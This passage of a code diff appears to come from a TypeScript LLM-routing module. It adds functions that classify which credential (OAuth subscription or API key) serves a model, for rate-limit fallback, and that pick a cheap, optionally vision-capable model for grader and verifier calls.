239
|
+
* a configured API key whenever it serves the model) WITHOUT touching the network —
|
|
240
|
+
* config-only, so this stays safely callable from a synchronous fast-path predicate
|
|
241
|
+
* (e.g. the engine's per-retry `rateLimitFallbackAvailable` check).
|
|
242
|
+
*
|
|
243
|
+
* `null` = API-key-served (or keyless/local) — an API key is typically its OWN
|
|
244
|
+
* independent per-key/per-model budget (Groq/OpenAI/etc rate-limit each model
|
|
245
|
+
* independently, unlike an OAuth subscription's single shared window), so a `null`
|
|
246
|
+
* candidate is NEVER excluded as a group — only its exact model id is excluded on
|
|
247
|
+
* failure, preserving the intentionally-tested "same-provider API-key fallback"
|
|
248
|
+
* behavior (see test/launch-fallback-live-discovery.test.ts). */
|
|
249
|
+
export function credentialScopeFor(model: string, config: RoutingConfig): CredentialScope | null {
|
|
250
|
+
const provider = resolveProvider(model);
|
|
251
|
+
if (provider === "ollama" || provider === "lmstudio") return null; // keyless, no shared account limit
|
|
252
|
+
if (provider === "antigravity") {
|
|
253
|
+
const hasOauth = !!(config.oauth?.antigravity || config.oauth?.gemini);
|
|
254
|
+
return hasOauth ? { kind: "oauth-subscription", key: "antigravity" } : { kind: "no-credential", key: "antigravity" };
|
|
255
|
+
}
|
|
256
|
+
const auth = provider as AuthProvider;
|
|
257
|
+
const hasApiKey = !!config.providers?.[auth];
|
|
258
|
+
const hasOauth = !!config.oauth?.[auth];
|
|
259
|
+
if (!hasApiKey && !hasOauth) return { kind: "no-credential", key: provider };
|
|
260
|
+
// OAuth wins over a configured API key whenever it actually serves this model
|
|
261
|
+
// (same precedence resolveCall/effectiveCredentialForProvider apply live) — that
|
|
262
|
+
// is the credential this call will really use, and its subscription window is
|
|
263
|
+
// what a 429 here reports on. When OAuth is present but does NOT serve this
|
|
264
|
+
// model (e.g. a non-Codex id under OpenAI OAuth), the call falls through to the
|
|
265
|
+
// API key (if any) — API-key-served, so `null` (independent budget).
|
|
266
|
+
if (hasOauth && oauthServesModel(auth, model)) return { kind: "oauth-subscription", key: `${provider}:oauth` };
|
|
267
|
+
// Defense-in-depth (currently unreachable in practice — every OAuth provider
|
|
268
|
+
// whose token doesn't serve a given model AND has no verified end-to-end backend
|
|
269
|
+
// is already excluded upstream from every auto-select pool, per
|
|
270
|
+
// isCoreEligible/hasAntigravityOauth): OAuth is configured, has NO API key
|
|
271
|
+
// fallback, and does not actually serve this model (e.g. a bare `gemini`-provider
|
|
272
|
+
// model under gemini-OAuth-only, since gemini's OAuth backend is not verified
|
|
273
|
+
// end-to-end) — genuinely zero usable credential for this specific model, not an
|
|
274
|
+
// independent API-key budget.
|
|
275
|
+
if (hasOauth && !hasApiKey) return { kind: "no-credential", key: provider };
|
|
276
|
+
return null;
|
|
277
|
+
}
|
|
278
|
+
|
|
225
279
|
/** Builds the routing catalog once per call: static `MODEL_CATALOG` rows need the
|
|
226
280
|
* full `isAutoSelectCandidate` gate (including the `isLiveProviderModel` check,
|
|
227
281
|
* when `openaiBaseUrl` is set), but rows already returned by
|
|
@@ -373,11 +427,15 @@ export function selectFromPool(pool: readonly string[], sessionId: string | unde
|
|
|
373
427
|
* model has a known price (caller falls back to `defaultModel`). Tiebreak on
|
|
374
428
|
* an exact cost tie: NEWER `releaseDate` wins (a same-priced newer model is
|
|
375
429
|
* likely a refined successor), then canonical id (deterministic fallback
|
|
376
|
-
* when recency also ties or is unconfirmed on both sides).
|
|
377
|
-
|
|
430
|
+
* when recency also ties or is unconfirmed on both sides). Optional `filter`
|
|
431
|
+
* narrows the candidate pool BEFORE price comparison (e.g. vision-capable
|
|
432
|
+
* only, matching `strongestCredentialed`'s filter param) — a cheap model that
|
|
433
|
+
* fails the filter is never picked over a pricier one that passes it. */
|
|
434
|
+
export function cheapestCredentialed(config: RoutingConfig, filter?: (m: CatalogModel) => boolean): string | null {
|
|
378
435
|
let best: CatalogModel | null = null;
|
|
379
436
|
let bestCost = Infinity;
|
|
380
437
|
for (const m of routingCatalog(config)) {
|
|
438
|
+
if (filter && !filter(m)) continue;
|
|
381
439
|
// `routingCatalog(config)` already filtered to eligible rows (static rows via
|
|
382
440
|
// `isAutoSelectCandidate`, live rows via `isAutoSelectCandidateLive`) — no need
|
|
383
441
|
// to re-check here. See cheapestCredentialed's own doc comment for the
|
|
@@ -406,6 +464,27 @@ export function cheapestCredentialed(config: RoutingConfig): string | null {
|
|
|
406
464
|
return best?.canonical ?? null;
|
|
407
465
|
}
|
|
408
466
|
|
|
467
|
+
/** Cheap-tier model for a GRADER/VERIFIER call (goal-verifier, vision-verify,
|
|
468
|
+
* `critic` role) — the blog-post "Haiku-for-graders" principle: a verdict call
|
|
469
|
+
* reads an artifact + a rubric, it does not need frontier reasoning strength,
|
|
470
|
+
* and defaulting graders to the SAME expensive model driving the turn they are
|
|
471
|
+
* grading both wastes budget and (for self-graded turns) reintroduces the very
|
|
472
|
+
* self-preference bias an independent grader exists to avoid. Resolution order:
|
|
473
|
+
* `roles.smol` (explicit user pin, but only when it also satisfies `requireImages`)
|
|
474
|
+
* → live-cheapest credentialed (filtered the same way) → `defaultModel` (never
|
|
475
|
+
* null — every caller needs a concrete model id to pass to `callLlm`).
|
|
476
|
+
* `opts.requireImages` (the browser vision-verify caller) excludes catalog rows
|
|
477
|
+
* with `images: false` — a text-only cheap model silently ignores an attached
|
|
478
|
+
* screenshot rather than erroring, which would surface as a hallucinated verdict
|
|
479
|
+
* instead of a loud failure, so the filter runs BEFORE cost/pin selection, not after. */
|
|
480
|
+
export function resolveVerifierModel(config: RoutingConfig, opts: { requireImages?: boolean } = {}): string {
|
|
481
|
+
const pinned = config.roles?.smol;
|
|
482
|
+
const pinnedOk = pinned && (!opts.requireImages || catalogMetadata(pinned)?.images !== false);
|
|
483
|
+
if (pinnedOk) return pinned!;
|
|
484
|
+
const filter = opts.requireImages ? (m: CatalogModel) => m.images !== false : undefined;
|
|
485
|
+
return cheapestCredentialed(config, filter) || config.defaultModel;
|
|
486
|
+
}
|
|
487
|
+
|
|
409
488
|
/** Most capable cloud model jeo has a credential for, computed LIVE off
|
|
410
489
|
* `MODEL_CATALOG` — ranks by full (xhigh) thinking support first, then max
|
|
411
490
|
* output tokens, then context window, then NEWER `releaseDate` (a same-specs
|
|
@@ -450,7 +529,7 @@ export function strongestCredentialed(
|
|
|
450
529
|
* a genuinely mid-class model like `claude-sonnet-4-6`. `null` when no
|
|
451
530
|
* mid-class-suffixed model is credentialed (caller falls through to
|
|
452
531
|
* `roles.medium`/`defaultModel` — never to `complex`'s flagship pick). */
|
|
453
|
-
function strongestMidTierCredentialed(config: RoutingConfig): string | null {
|
|
532
|
+
export function strongestMidTierCredentialed(config: RoutingConfig): string | null {
|
|
454
533
|
const midClass = routingCatalog(config).filter(
|
|
455
534
|
m => sizeClassFor(m) === "mid",
|
|
456
535
|
);
|